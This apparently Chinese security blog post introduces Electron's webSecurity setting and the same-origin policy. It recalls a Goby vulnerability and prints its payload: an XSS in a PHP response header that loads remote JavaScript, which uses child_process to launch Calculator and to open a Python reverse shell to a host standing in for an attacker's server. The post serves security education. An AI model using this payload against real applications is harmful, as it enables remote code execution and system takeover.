0x01 简介
https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity
大家好,今天跟大家讨论的是 Electron
的安全配置选项 —— webSecurity
这在之前的文章 《Electron安全与你我息息相关》 中就已经提到过了,该选项的意义是开启同源策略,是 Electron
的默认值,即默认即开启同源策略
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
之前我们在讨论 Goby
的漏洞时,我们发现,利用的 Payload
如下
<?php
header("X-Powered-By: PHP/<img src="x" onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");
?>
test2.js
(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'');
})();
https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ
在这里我们注意到放置 Payload
的地方在外部的 JavaScript
文件,虽然上面写的是 127.0.0.1
,实际是想说我们恶意服务器上的 JavaScript
正常来说,这种利用是不会成功的,因为有同源策略的限制,但是后来我们发现老版本的 Goby
显式地将 webSecurity
设置为了 false
,不然利用的话还会再难一些
我们公众号开启了留言功能,欢迎大家留言讨论~
这篇文章也提供了 PDF
版本及 Github
,见文末
-
0x01 简介
-
0x02 安全效果测试
-
1. 本地加载测试同源策略
-
2. 远程加载测试同源策略
-
0x03 总结
-
0x04 PDF版 & Github
-
原文始发于微信公众号(NOP Team):webSecurity | Electron 安全
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论